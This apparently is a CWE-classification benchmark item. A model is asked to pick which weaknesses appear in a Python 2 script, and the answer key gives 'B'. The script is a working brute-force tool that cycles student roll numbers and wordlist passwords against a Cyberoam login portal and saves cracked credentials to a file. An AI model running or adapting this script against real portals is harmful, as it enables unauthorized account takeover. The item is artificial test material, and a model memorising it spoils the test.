system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
__author__ = 'Xplore'
# Cyberaom brute force Script

import urllib
import time
import datetime
import urllib2
import sys
import xml.dom.minidom as XML

trst = {}
userid=[]
start=int(raw_input("Enter the starting Roll:"))
end=int(raw_input("Enter the last Roll:"))
for s in range(start,end+1):
    userid.append(s)

filenm = raw_input("Enter the wordlist filename: ")

#Loads the file and mentions no.of entries:
def load_words(file):
    print "loading words from file..."
    wordlist = list()
    with open(file) as f:
        for line in f:
            wordlist.append(line.rstrip('\n'))
    print " ", len(wordlist), "words loaded."
    return wordlist

passwd = load_words(filenm)

#Login request function
    
def sendLoginRequest(username, password):
    url = 'http://192.168.100.1:8090/httpclient.html'
    post_data = 'mode=191' + '&username=' + str(username) + '&password=' + password
    try:
        req = urllib2.Request(url, post_data)
        response = urllib2.urlopen(req)
        xml_dom = XML.parseString(response.read())
        document = xml_dom.documentElement
        response = document.getElementsByTagName('message')[0].childNodes[0].nodeValue
        print response
        if 'successfully' in response:
            return True
        elif 'Limit' in response:
            return True
        elif 'Maximum' in response:
            return True
        elif 'data' in response:
            return True
        

    except:
        return False

#LogOut request Function:
def sendLogoutRequest(username):
    url = 'http://192.168.100.1:8090/httpclient.html'
    post_data = 'mode=193' + '&username=' + username
    req = urllib2.Request(url, post_data)
    response = urllib2.urlopen(req)
    print response
    print 'logout.'

#Gets the password and saves to a file:
for o in userid:
    for l in passwd:
         print l+" "+str(o)
         if sendLoginRequest(o, l) == True:
            #urllib.urlopen("http://google.com")
            print '----------#######---------success!!! and '+l+' - password, userid -'+str(o)
            trst[o]=l
            sendLogoutRequest(str(o))
            with open("user.txt","a") as myfile:
                myfile.write(str(o)+" "+str(l)+'\n')
                break
            break
            
         

print trst











```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  B) CWE-312: Cleartext Storage of Sensitive Information
  C) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  D) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  E) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  F) CWE-326: Inadequate Encryption Strength
Answer: B